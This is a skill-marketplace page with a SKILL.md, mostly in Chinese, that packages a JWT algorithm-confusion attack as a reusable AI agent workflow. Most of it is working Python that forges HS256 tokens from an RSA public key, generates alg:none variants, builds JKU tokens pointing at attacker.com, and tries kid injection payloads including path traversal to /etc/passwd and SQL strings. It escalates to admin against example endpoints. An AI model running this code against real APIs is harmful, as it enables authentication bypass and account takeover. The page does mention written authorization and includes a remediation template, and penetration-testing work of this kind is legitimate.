exploiting-jwt-algorithm-confusion-attack
利用 JWT 算法混淆漏洞,该漏洞存在于服务器令牌验证库接受 JWT 头中指定的算法而非强制使用固定算法的场景。测试人员通过操纵 alg 头将 RS256 切换为 HS256(以 RSA 公钥作为 HMAC 密钥),将 alg 设置为 none 以绕过签名验证,或利用 kid/jku/x5u 头注入来提供攻击者控制的密钥。适用于 JWT 算法混淆、alg none 攻击、密钥混淆攻击或 JWT 签名绕过等请求场景。
Best use case
exploiting-jwt-algorithm-confusion-attack is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
利用 JWT 算法混淆漏洞,该漏洞存在于服务器令牌验证库接受 JWT 头中指定的算法而非强制使用固定算法的场景。测试人员通过操纵 alg 头将 RS256 切换为 HS256(以 RSA 公钥作为 HMAC 密钥),将 alg 设置为 none 以绕过签名验证,或利用 kid/jku/x5u 头注入来提供攻击者控制的密钥。适用于 JWT 算法混淆、alg none 攻击、密钥混淆攻击或 JWT 签名绕过等请求场景。
Teams using exploiting-jwt-algorithm-confusion-attack should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How exploiting-jwt-algorithm-confusion-attack Compares
| Feature / Agent | exploiting-jwt-algorithm-confusion-attack | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
利用 JWT 算法混淆漏洞,该漏洞存在于服务器令牌验证库接受 JWT 头中指定的算法而非强制使用固定算法的场景。测试人员通过操纵 alg 头将 RS256 切换为 HS256(以 RSA 公钥作为 HMAC 密钥),将 alg 设置为 none 以绕过签名验证,或利用 kid/jku/x5u 头注入来提供攻击者控制的密钥。适用于 JWT 算法混淆、alg none 攻击、密钥混淆攻击或 JWT 签名绕过等请求场景。
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# 利用 JWT 算法混淆攻击
## 适用场景
- 测试使用 RS256(非对称)JWT 令牌进行认证的 API,检查是否存在降级到 HS256 的问题
- 评估 JWT 实现中是否存在 alg:none 绕过(服务器跳过签名验证)
- 评估 JWT 库是否存在密钥混淆漏洞(公钥被用作 HMAC 密钥)
- 测试 kid(密钥 ID)、jku(JWK Set URL)和 x5u(X.509 URL)头参数是否存在注入问题
- 验证 API 服务器是否强制使用特定算法,而不信任 JWT 头
**不适用于**:未获书面授权的情况。利用 JWT 漏洞可能导致认证绕过和账户接管。
## 前置条件
- 明确目标 API 和基于 JWT 认证范围的书面授权
- 来自目标 API 的有效 JWT 令牌(通过合法认证获取)
- 服务器的 RSA 公钥(可从 JWKS 端点、TLS 证书或公钥端点获取)
- Python 3.10+,安装 `PyJWT`、`cryptography` 和 `requests` 库
- jwt_tool,用于自动化 JWT 攻击测试
- Burp Suite 配合 JWT Editor 扩展
## 工作流程
### 步骤 1:JWT 令牌分析
```python
import base64
import json
import requests
import hmac
import hashlib
import time
BASE_URL = "https://target-api.example.com/api/v1"
# 捕获有效的 JWT 令牌
login_resp = requests.post(f"{BASE_URL}/auth/login",
json={"email": "test@example.com", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")
# 解码 JWT 各部分
def decode_jwt(token):
parts = token.split('.')
if len(parts) != 3:
raise ValueError("Invalid JWT format")
def pad(s):
return s + '=' * (4 - len(s) % 4)
header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
return header, payload, parts[2]
header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")
```
### 步骤 2:获取公钥
```python
from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate
# 方法 1:JWKS 端点
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
jwks = jwks_resp.json()
print(f"JWKS keys found: {len(jwks.get('keys', []))}")
for key in jwks['keys']:
print(f" kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")
# 从 JWKS 中提取 RSA 公钥
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
rsa_key = jwks['keys'][0] # 第一个密钥
n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
public_key = RSAPublicNumbers(e, n).public_key(default_backend())
public_key_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")
# 方法 2:从 OpenID 配置中获取
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
jwks_uri = oidc_resp.json().get('jwks_uri')
print(f"JWKS URI from OIDC config: {jwks_uri}")
# 方法 3:在常见路径上暴露
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
resp = requests.get(f"{BASE_URL}{path}")
if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
print(f"Public key found at: {path}")
```
### 步骤 3:算法混淆攻击(RS256 转 HS256)
```python
def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
"""
算法混淆:使用 RSA 公钥作为密钥以 HS256 签名令牌。
若服务器使用信任 alg 头的通用 verify(),则会使用公钥验证 HMAC 签名,
从而与我们的签名匹配。
"""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
# 按需修改载荷
if modifications:
payload.update(modifications)
# 创建 HS256 头
new_header = {"alg": "HS256", "typ": "JWT"}
# 编码头和载荷
header_b64 = base64.urlsafe_b64encode(
json.dumps(new_header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
# 使用 RSA 公钥作为密钥,以 HMAC-SHA256 签名
signing_input = f"{header_b64}.{payload_b64}".encode()
# 使用原始 PEM 字节作为 HMAC 密钥
if isinstance(public_key_pem, str):
public_key_pem = public_key_pem.encode()
signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')
return f"{header_b64}.{payload_b64}.{sig_b64}"
# 攻击 1:使用相同声明的算法混淆
confused_token = forge_hs256_with_public_key(valid_token, public_key_pem)
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {confused_token}"})
print(f"Algorithm confusion (same claims): {resp.status_code}")
if resp.status_code == 200:
print("[CRITICAL] Algorithm confusion attack successful - RS256 to HS256")
# 攻击 2:通过算法混淆提升权限
admin_token = forge_hs256_with_public_key(valid_token, public_key_pem,
modifications={"role": "admin", "sub": "admin@example.com"})
resp = requests.get(f"{BASE_URL}/admin/users",
headers={"Authorization": f"Bearer {admin_token}"})
print(f"Algorithm confusion (admin): {resp.status_code}")
if resp.status_code == 200:
print("[CRITICAL] Admin access via algorithm confusion + claim manipulation")
# 攻击 3:尝试不同的公钥格式
key_formats = [
public_key_pem, # 完整 PEM
public_key_pem.strip(), # 去除首尾空白
public_key_pem.replace(b'\n', b''), # 无换行
public_key_pem.decode().split('\n')[1:-1], # 仅 Base64
]
for i, key_format in enumerate(key_formats):
if isinstance(key_format, list):
key_format = ''.join(key_format).encode()
elif isinstance(key_format, str):
key_format = key_format.encode()
token = forge_hs256_with_public_key(valid_token, key_format)
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
print(f"[CRITICAL] Key format {i} worked for algorithm confusion")
```
### 步骤 4:算法 None 攻击
```python
def forge_none_algorithm(token, modifications=None):
"""创建使用 alg:none 变体的令牌,以绕过签名验证。"""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
if modifications:
payload.update(modifications)
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
# 不同的 "none" 算法变体
none_variants = [
{"alg": "none", "typ": "JWT"},
{"alg": "None", "typ": "JWT"},
{"alg": "NONE", "typ": "JWT"},
{"alg": "nOnE", "typ": "JWT"},
{"typ": "JWT"}, # 完全缺少 alg
]
tokens = []
for variant_header in none_variants:
header_b64 = base64.urlsafe_b64encode(
json.dumps(variant_header).encode()).decode().rstrip('=')
# 不同的签名选项
sig_options = [
"", # 空签名
".", # 仅一个点
parts[2], # 原始签名
base64.urlsafe_b64encode(b'\x00').decode().rstrip('='), # 空字节
]
for sig in sig_options:
tokens.append(f"{header_b64}.{payload_b64}.{sig}")
return tokens
# 测试所有 none 算法变体
none_tokens = forge_none_algorithm(valid_token)
for i, token in enumerate(none_tokens):
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '=='))
print(f"[CRITICAL] alg:none bypass #{i}: header={header}, sig_len={len(token.split('.')[2])}")
# 测试权限提升
admin_none_tokens = forge_none_algorithm(valid_token,
modifications={"role": "admin", "is_admin": True})
for token in admin_none_tokens:
resp = requests.get(f"{BASE_URL}/admin/users",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
print("[CRITICAL] Admin access via alg:none bypass")
break
```
### 步骤 5:JKU 和 KID 头注入
```python
import os
# 攻击:JKU(JWK Set URL)注入
# 托管攻击者控制的 JWKS,其中包含我们的密钥对
def generate_attacker_jwks():
"""为攻击者服务器生成 RSA 密钥对和 JWKS。"""
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
# 生成攻击者密钥对
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
public_numbers = public_key.public_numbers()
n_b64 = base64.urlsafe_b64encode(
public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=')
e_b64 = base64.urlsafe_b64encode(
public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=')
jwks = {
"keys": [{
"kty": "RSA",
"kid": "attacker-key-1",
"use": "sig",
"alg": "RS256",
"n": n_b64,
"e": e_b64
}]
}
return private_key, jwks
attacker_private_key, attacker_jwks = generate_attacker_jwks()
# 创建 JKU 指向攻击者服务器的 JWT
def forge_jku_token(payload_modifications, jku_url):
"""创建用攻击者密钥签名、JKU 指向攻击者 JWKS 的 JWT。"""
payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '=='))
payload.update(payload_modifications)
header = {
"alg": "RS256",
"typ": "JWT",
"kid": "attacker-key-1",
"jku": jku_url # 指向攻击者托管的 JWKS
}
header_b64 = base64.urlsafe_b64encode(
json.dumps(header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
# 使用攻击者私钥签名
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
signing_input = f"{header_b64}.{payload_b64}".encode()
signature = attacker_private_key.sign(
signing_input,
padding.PKCS1v15(),
hashes.SHA256()
)
sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')
return f"{header_b64}.{payload_b64}.{sig_b64}"
# 测试各种 URL 的 JKU 注入
jku_urls = [
"https://attacker.com/.well-known/jwks.json",
"https://attacker.com/jwks",
# 绕过 URL 过滤器
f"{BASE_URL}@attacker.com/jwks",
f"{BASE_URL}/.well-known/jwks.json#@attacker.com",
]
for jku in jku_urls:
token = forge_jku_token({"role": "admin"}, jku)
# 注意:此测试需要在指定 URL 上托管攻击者 JWKS
print(f" JKU injection payload generated for: {jku}")
# KID 注入(kid 参数中的 SQL 注入)
kid_injection_payloads = [
"../../../../../../dev/null", # 路径遍历到空文件
"../../../../../../proc/sys/kernel/hostname",
"' UNION SELECT 'secret-key' -- ", # kid 查找中的 SQL 注入
"' OR '1'='1",
"../../../etc/passwd",
"https://attacker.com/key.pem", # 基于 URL 的 kid
]
for kid in kid_injection_payloads:
modified_header = {"alg": "HS256", "typ": "JWT", "kid": kid}
header_b64 = base64.urlsafe_b64encode(
json.dumps(modified_header).encode()).decode().rstrip('=')
payload_b64 = valid_token.split('.')[1]
# 使用注入预期的密钥材料签名
signing_input = f"{header_b64}.{payload_b64}".encode()
# 对于路径遍历到 /dev/null,密钥为空
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip('=')
token = f"{header_b64}.{payload_b64}.{sig_b64}"
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
print(f"[CRITICAL] KID injection successful: {kid}")
```
## 核心概念
| 术语 | 定义 |
|------|------|
| **算法混淆(Algorithm Confusion)** | 服务器信任 JWT 中的 alg 头,允许攻击者从 RS256 切换到 HS256,并以公钥作为 HMAC 密钥进行签名 |
| **alg:none 攻击** | 将 JWT 算法设置为 "none",若库不强制算法选择,则可完全绕过签名验证 |
| **JKU 注入** | 操纵 jku(JWK Set URL)头,使其指向攻击者控制的 JWKS 端点,从而提供自己的签名密钥 |
| **KID 注入** | 向 kid(密钥 ID)头参数注入 SQL、路径遍历或 URL 载荷,以操纵密钥选择或读取任意文件 |
| **密钥混淆(Key Confusion)** | 服务器从非对称验证错误切换为对称验证时,使用 RSA 公钥作为 HMAC 密钥 |
| **JWKS(JSON Web Key Set)** | 包含服务器用于验证 JWT 签名的公钥的 JSON 结构,通常托管在知名端点上 |
## 工具与系统
- **jwt_tool**:基于 Python 的 JWT 测试工具集,支持 12 种以上攻击模式,包括算法混淆、none 绕过和 kid 注入
- **Burp Suite JWT Editor**:用于解码、编辑和重新签名 JWT 的扩展,具备算法操纵能力
- **hashcat(模式 16500)**:GPU 加速的 HMAC 密钥暴力破解,适用于 HS256/HS384/HS512 签名的 JWT
- **John the Ripper**:基于 CPU 的 JWT 密钥破解,支持字典和规则攻击
- **jwt.io**:在线 JWT 解码器和调试工具,可快速分析令牌
## 常见场景
### 场景:银行 API 上的算法混淆
**背景**:某银行 API 使用 RS256 签名的 JWT 进行认证。JWKS 端点公开可访问。该 API 处理需要高保证认证的金融交易。
**方法**:
1. 以普通用户身份认证,获取有效 JWT
2. 从 `/.well-known/jwks.json` 处的 JWKS 端点提取 RSA 公钥
3. 创建带有 `"alg": "HS256"` 头的新 JWT,使用 RSA 公钥作为 HMAC 密钥签名
4. 将伪造令牌发送至 `GET /api/v1/users/me` —— 服务器接受(确认算法混淆)
5. 修改载荷,设置 `"role": "admin"` 和 `"sub": "admin@bank.com"`,以公钥签名
6. 访问管理端点:`GET /api/v1/admin/transactions` 返回全部交易记录
7. 测试 alg:none:服务器拒绝(部分缓解)
8. 使用 SQL 载荷测试 kid 注入:kid 参数用于 SQL 查询以查找密钥,从而实现 SQL 注入
**注意事项**:
- 使用错误格式的公钥作为 HMAC 密钥(PEM 带/不带头、DER、原始字节)
- 首次格式不成功时,未尝试多种公钥格式
- 假设 alg:none 防御意味着算法混淆也得到了缓解
- 当 JWT 头中存在 kid 参数时,未测试 kid 注入向量
- 当服务器从 URL 获取密钥时,遗漏 JKU/x5u 头注入
## 输出格式
```
## 发现:JWT 算法混淆导致认证绕过
**ID**:API-JWT-001
**严重性**:严重(CVSS 9.8)
**CVE 参考**:CVE-2024-54150(相关模式)
**受影响组件**:JWT 认证中间件
**描述**:
API 的 JWT 验证库信任 JWT 头中指定的算法,而非强制使用固定算法。攻击者可
将算法从 RS256 更改为 HS256,并使用从 JWKS 端点获取的服务器 RSA 公钥作为
HMAC 密钥对令牌签名。服务器随后使用同一公钥验证 HMAC 签名,验证通过,使
攻击者能够为任意角色的任意用户伪造令牌。
**攻击链**:
1. 获取公钥:GET /.well-known/jwks.json
2. 创建 JWT:{"alg":"HS256","typ":"JWT"}.{"sub":"admin","role":"admin"}
3. 使用 RSA 公钥 PEM 作为密钥,以 HMAC-SHA256 签名
4. 访问管理 API:GET /api/v1/admin/transactions -> 200 OK
**影响**:
完全认证绕过。攻击者可为包括管理员在内的任意用户伪造令牌,
访问所有金融交易、用户数据和管理功能。
**修复建议**:
1. 在服务器配置层面强制使用预期算法:jwt.verify(token, key, algorithms=["RS256"])
2. 切勿信任 JWT 中的 alg 头进行算法选择
3. 将 JWT 库升级到具备算法混淆保护的最新版本
4. 考虑使用 EdDSA(Ed25519),该算法不存在对称/非对称混淆风险
5. 实现令牌绑定,防止接受伪造令牌
```Related Skills
recovering-from-ransomware-attack
按照 NIST 和 CISA 框架执行结构化勒索软件事件恢复,包括环境隔离、取证证据保全、 干净基础设施重建、从已验证备份优先还原系统、凭据重置,以及针对再感染的验证。 涵盖 Active Directory 恢复、数据库还原和按依赖顺序重建应用栈。
performing-web-cache-poisoning-attack
在授权安全测试期间,通过未纳入缓存键的头部和参数毒化缓存响应,利用 Web 缓存机制向其他用户投递恶意内容。
performing-web-cache-deception-attack
通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。
performing-vlan-hopping-attack
在授权环境中使用交换机欺骗(Switch Spoofing)和双标签(Double Tagging)技术模拟 VLAN 跳转攻击, 测试 VLAN 分段有效性,并验证交换机端口安全配置对二层旁路攻击的抵御能力。
performing-supply-chain-attack-simulation
模拟和检测软件供应链攻击,包括通过 Levenshtein 距离检测域名抢注(Typosquatting)、针对私有注册表的依赖混淆(Dependency Confusion)测试、使用 pip 进行包哈希验证,以及使用 pip-audit 扫描已知漏洞。
performing-ssl-stripping-attack
在授权环境中使用 sslstrip、Bettercap 和 mitmproxy 模拟 SSL 剥离(SSL Stripping)攻击, 测试 HSTS 强制执行、证书验证以及保护用户免受加密连接降级攻击的 HTTPS 升级机制。
performing-packet-injection-attack
在授权安全评估中使用 Scapy、hping3 和 Nemesis 构造并注入自定义网络数据包, 测试防火墙规则、IDS 检测、协议处理能力以及网络协议栈对畸形和伪造流量的抵御能力。
performing-kerberoasting-attack
Kerberoasting 是一种后渗透技术,通过为设置了服务主体名称(SPN)的账户请求 Kerberos TGS 票据来针对活动目录中的服务账户。这些票据用服务账户的 NTLM 哈希加密,允许在不产生登录失败事件的情况下进行离线暴力破解。
performing-jwt-none-algorithm-attack
通过操纵 JSON Web Token 中的 alg 头部字段,执行并测试 JWT None 算法攻击,以绕过签名验证。
performing-http-parameter-pollution-attack
执行 HTTP 参数污染(HPP)攻击,通过注入由前端和后端系统以不同方式处理的重复参数,绕过输入验证、WAF 规则和安全控制。
performing-graphql-depth-limit-attack
使用深度嵌套递归查询执行和测试 GraphQL 深度限制攻击,以识别 GraphQL API 中的拒绝服务(DoS)漏洞。
performing-csrf-attack-simulation
在授权安全评估中,通过构造利用已认证用户会话的伪造请求,测试 Web 应用程序的跨站请求伪造(CSRF)漏洞。